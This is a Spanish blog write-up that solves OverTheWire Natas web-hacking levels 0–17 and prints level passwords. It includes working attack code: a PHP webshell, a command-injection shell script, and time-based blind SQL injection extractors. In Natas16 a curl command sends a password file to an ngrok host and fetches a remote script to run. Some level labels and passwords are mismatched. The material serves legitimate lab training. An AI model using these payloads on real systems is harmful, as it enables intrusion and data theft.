Los niveles de OverTheWire Natas 1-17 resueltos
- tags
- #Hacking Web #python #sql #crypto #bash
- published
- reading time
- 9 minutes
Writeup Natas
Introducción
Natas es uno de los apartados en la web OverTheWire, en este caso este es de hacking web pero la web está bastante bien y tienen de más temáticas, por ejemplo bash, en un futuro pienso ir resolviendo más de estos ejercicios y subir esta especie de Writeup al blog.
Natas0
Simplemente mediante control+u puedes ver la contraseña de natas1 en un comentario de html.
natas1:g9D9cREhslqBKtcA2uocGHPfMZVzeFK6
Natas1
Esta vez nos quitan el clic derecho pero igualmente con control+u somos capaces de leer la contraseña.
natas2:h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7
Natas2
En este caso la clave ya no está en el comentario pero si vemos otra vez el código fuente llama la atención el directorio files
Si entramos en este directorio vemos como no quitaron el permiso de listar los archivos y vemos el archivo users.txt
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
Natas3
Veo el contenido de esta web y tiene un comentario:
Esto es una pista ya que existe un archivo robots.txt que le dice al motor de búsqueda de google a que sitios de su web puede acceder, visito robots.txt y encuentro el directorio /s3cr3t/
Cuando entro al directorio /s3cr3t/ encuentro el archivo users.txt al igual que antes.
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
Natas4
Existe una cabecera en http llamada Referer y en este caso parece que nos piden que sea http://natas5.natas.labs.overthewire.org/, no es nada recomendable usar esto para comprobar el origen ya que podemos modificar nuestra cabeceras http libremente, en este caso mediante el uso de BurpSuite enviamos una petición con el Referer indicado.
Enviamos la petición modificada y …
natas5:Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
Natas5
Otra vez mediante BurpSuite veo la petición y hay una cookie sin encriptar que llama la atención: loggedin:0 cambio el valor a 1.
y envio la petición …
natas6:fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
Natas6
Nada más entrar vemos que te pide que introduzcas el “secreto”.
Al revisar el código del programa no vemos la clave en claro pero si que llama la atencion el archivo includes/secret.inc los archivos con extensión .inc, tienen ese nombre por convención ya que son importados por otros archivos de php. Al visitar este archivo, tenemos el secreto.
natas7:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
Natas7
Nada más entrar a la web vemos dos opciones home y about al hacer clic en cualquiera de ellas vemos como carga la página y en la url tenemos un nuevo parámetro page=home, esto parece un LFI. Pruebo a cambiar home por /etc/passwd y …
Ahora solo queda leer la flag de natas8 que según un comentario en la web se encuentra en /etc/natas_webpass/natas8
natas8:a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
Natas8
Otra vez nos mandan introducir un secreto.
Al ver el código de la pagina descubrimos la variable encodedSecret donde se almacena el secreto codificado return bin2hex(strrev(base64_encode($secret))); primero se le aplica base64 luego se invierte la cadena y por último hexadecimal. Pues lo decodificamos primero con hex “3d3d516343746d4d6d6c315669563362” = "==QcCtmMml1ViV3b" invertimos la cadena = “b3ViV1lmMmtCcQ==" y decodificamos con base64 = “oubWYf2kBq” ya tenemos el secreto.
natas9:Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
Natas9
La página parece filtrar la palabra input en un diccionario interno. Al ver el código del programa vemos que hace el filtro mediante: grep -i {palabra} diccionario.txt, para saltarnos esto llegaría con poner || ls # para que cuando falle la primera instrucción se ejecute la segunda, que será el comando en cuestión y comentamos diccionario.txt.
Mediante el siguiente script se puede obtener una especie de web shell.
import requests
from bs4 import BeautifulSoup
# passpow: passpow.github.io
headers = {
'Authorization': 'Basic bmF0YXM5OlNkYTZ0MHZrT1BrTThZZU9aa0FHVmhGb2FwbHZsSkZk',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Sec-GPC': '1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'yo',
}
while 1:
command=input("> ")
params = {
'needle': 'asd || {} #'.format(command),
}
response = requests.get('http://natas9.natas.labs.overthewire.org/', params=params, headers=headers, verify=False)
soup = BeautifulSoup(response.text, 'html.parser')
print(soup.pre.text)
Aunque realmente nada de esto hace falta ya que la flag está como en el LFI de antes en /etc/natas_webpass/natas10 y
como usa grep podemos hacer que lea todo el archivo con el siguiente input: "" /etc/natas_webpass/natas10 #
esto nos será útil en el siguiente nivel.
natas10:D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
Natas10
Mediante el mismo comando de la anterior: "" /etc/natas_webpass/natas10 #
conseguimos la flag.
natas11:D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
Natas11
Nos especifican que la cookie está encriptada con el cifrado XOR.
Usa la puerta lógica XOR en cada bit cada letra de la cadena que forma la cookie siendo esta imagen la cookie A la clave B y el resultado cifrado. Realmente nosotros tenemos la cookie antes de ser modificicada y el resultado por lo que conseguir la clave realmente no es un problema.
Conseguir clave
import json
import base64
data = {"showpassword": "no", "bgcolor": "#ffffff"}
data=json.dumps(data)
cookie = base64.b64decode("MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=").decode("utf8")
result = ""
for i in range(0, len(cookie)):
result += chr(ord(cookie[i]) ^ ord(data[i]))
Una vez teniendo la clave ciframos la cookie con el parámetro “showpassword”: “yes” y porque no en negro };)
Cifrar cookie
import json
import base64
key = "KNHL"
def xor(a, b, n):
ans = ""
for i in range(n):
if (a[i] == b[i]):
ans += "0"
else:
ans += "1"
return ans
data = {"showpassword": "yes", "bgcolor": "#000000"} #negro no?
data = json.dumps(data)
mensaje_cifrado=""
for i, caracter in enumerate(data):
clave_actual = key[i % len(key)]
caracter_cifrado = ord(caracter) ^ ord(clave_actual) # XOR
mensaje_cifrado += chr(caracter_cifrado)
print(base64.b64encode(mensaje_cifrado.encode("utf")))
natas12:YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
Natas12
Una subida de archivos vulnerable, abrimos burp y encontramos el siguiente parámetro:
El cual dicta como se almacenará el archivo en el servidor, lo modificamos con la siguiente webshell y le hacemos un cat a la contraseña ubicada en /etc/natas_webpass/natas13
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
natas13:lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
Natas13
Esta vez la web verifica el tipo de archivo mediante los “magic numbers” de manera breve, son unos bytes en la cabecera de los archivos. En el caso de los archivos JPEG es la siguiente ff d8 ff e0
Para crear este archivo modificado mucha gente usa herramientas como HxD o hexeditor pero aquí lo haremos con python3 :)
Simple, no? Ahora para ver si todo es correcto lo podemos chekear con file y podemos ver que lo detecta como JPEG image data.
Ahora usaremos la misma técnica que en el ejercicio 12 con burpsuite
Una vez subida esta webshell solo queda hacerle un cat a /etc/natas_webpass/natas14 y ya :)
?cmd=cat /etc/natas_webpass/natas14
natas14:qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP
Natas14
Llegó el momento de las inyecciones SQL.
La verdad es que no podría ser más mítica esta inyección, incluso he visto alguna camiseta con ella
” or 1=1 # hará que la consuta a la base de datos sea True y por tanto nos dé la flag.
<?php
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas14', '<censored>');
mysqli_select_db($link, 'natas14');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysqli_close($link);
} else {
?>
natas15:TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
Natas16
Esto ya se comienza a poner interesante, estamos ante una sqli blind de manual. Listamos el número de columnas mediante order by 2 #
Con esto calculamos el número de columnas de la tabla, y con union select ‘pass’,‘pow’ # que las 2 son tipo VARCHAR
Es importante comentar que lo sabemos ya que los outputs que nos devuelve la página víctima son una especie de True:
Ya adelanté antes que se trata de una inyección a ciegas, en mi caso la realicé Time Based. Realmente en este caso se puede conseguir la flag vía conditional errors sin necesidad de esto, y puede que usar intervalos de tiempo sea matar un mosquito con un rifle…, pero seguramente no nos vendrá mal el script en próximos ejercicios de natas y además me encanta este método ;). Bueno pues manos a la obra, primero identificamos el tipo de base de datos que vamos a atacar, siguiendo la siguiente tabla vemos que estamos ante una base MySQL.
Gestor | Sintaxis |
---|---|
Oracle | SELECT banner FROM v$version, SELECT version FROM v$instance |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version, SELECT version() |
Vale, ahora vamos a tratar de listar la password del usuario natas16, dejo esta cheatsheet que la verdad es bastante completa y puede ayudarte.
" union select if((select mid(password,1,1) from users where username=“natas16” limit 0,1) like binary ‘a’, SLEEP(10),1), null from users – -
ES MUY IMPORTANTE que usemos el comparador like binary porque MySQL es case insensitive pero ese operador nos permite diferenciar los caracteres. En caso de comparar = te quedarán solo minúsculas. Pues a crear el script 😎️
import requests
import string
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'Accept-Language': 'es-ES,es;q=0.5',
'Authorization': 'Basic bmF0YXMxNTpUVGthSTdBV0c0aURFUnp0QmNFeUtWN2tSWEgxRVpSQg==',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://natas15.natas.labs.overthewire.org',
'Referer': 'http://natas15.natas.labs.overthewire.org/',
'Sec-GPC': '1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'yo',
}
def sqlitime(letter, number):
data = {
'username': '" union select if((select mid(password,{},1) from users where username="natas16" limit 0,1) like binary \'{}\', SLEEP(10),1), null from users -- -'.format(number, letter),
}
try:
response = requests.post('http://natas15.natas.labs.overthewire.org/index.php', headers=headers, data=data, verify=False, timeout=3)
return False
except:
return True
n=1
total=""
while True:
for i in string.ascii_letters+string.digits:
if sqlitime(i, n):
total+=i
print(total)
n+=1
break
Creo que en lugar de mid se puede utilizar también substring aunque no lo he probado.
natas16:TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
Natas16
En este caso parece que la única forma de ejecutar comandos en la máquina es mediante la siguiente instrucción $(COMMAND) esto lo que hace es ejecutar el resultado del comando. Por ejemplo:
Por tanto se me ocurrió hacer un tunel por ngrok con el siguiente script.
#!/bin/bash
archivo="/etc/natas_webpass/natas17"
contenido=$(cat "$archivo")
servidor="https://test.ngrok-free.app/"
respuesta=$(curl "$servidor$contenido")
Solo tendría que ejecutar
$(curl https://test.ngrok-free.app/script.sh)
$(grep passpow /etc/natas_webpass/natas17)bypass
En este caso si la cadena “passpow” no está en la flag no devuelve nada y por tanto únicamente se busca bypass y claro como la palabra está en el diccionario nos aparece, por tanto si no nos aparece nada es porque la string buscada está en la flag y se estaría buscando por ejemplo “1bypass”. Debemos poner los caracteres en su correspondiente lugar de la string. Lo haremos de la siguiente manera.
$(grep ^8 /etc/natas_webpass/natas17)bypass
import requests
import string
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'Accept-Language': 'es-ES,es;q=0.6',
'Authorization': 'Basic bmF0YXMxNjpUUkQ3aVpyZDVnQVRqajlQa1BFdWFPbGZFakhxajMyVg==',
'Connection': 'keep-alive',
'Referer': 'http://natas16.natas.labs.overthewire.org/?needle=%24%28grep+%5E8+%2Fetc%2Fnatas_webpass%2Fnatas17%29bypass&submit=Search',
'Sec-GPC': '1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'farlopa',
}
password=""
while True:
for i in string.ascii_letters+string.digits:
params = {
'needle': '$(grep ^{} /etc/natas_webpass/natas17)bypass'.format(password+i),
'submit': 'Search',
}
response = requests.get('http://natas16.natas.labs.overthewire.org/', params=params, headers=headers, verify=False)
if "bypass" not in response.text:
password+=i
print(password)
natas17:XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
Natas17
Ponemos la siguiente instrucción, y vemos que el servidor tarda unos segundos en responder la query.
" UNION SELECT SLEEP(10), null #
Bueno parece que tenía razón :) nos vendría bien el script de Natas15, estamos ante una SQLI Blind! Prácticamente copypasteando el código de antes consigo la clave.
import requests
import string
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'Accept-Language': 'es-ES,es;q=0.5',
'Authorization': 'Basic bmF0YXMxNzpYa0V1Q2hFMFNibktCdkgxUlU3a3NJYjl1dUxtSTdzZA==',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://natas17.natas.labs.overthewire.org',
'Referer': 'http://natas17.natas.labs.overthewire.org/',
'Sec-GPC': '1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'passpow',
}
def sqlitime(letter, number):
data = {
'username': '" union select if((select mid(password,{},1) from users where username="natas18" limit 0,1) like binary \'{}\', SLEEP(10),1), null from users -- -'.format(number, letter),
}
try:
response = requests.post('http://natas17.natas.labs.overthewire.org/index.php', headers=headers, data=data, verify=False, timeout=3)
return False
except:
return True
n=1
total=""
while True:
for i in string.ascii_letters+string.digits:
if sqlitime(i, n):
total+=i
print(total)
n+=1
break
natas18:8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq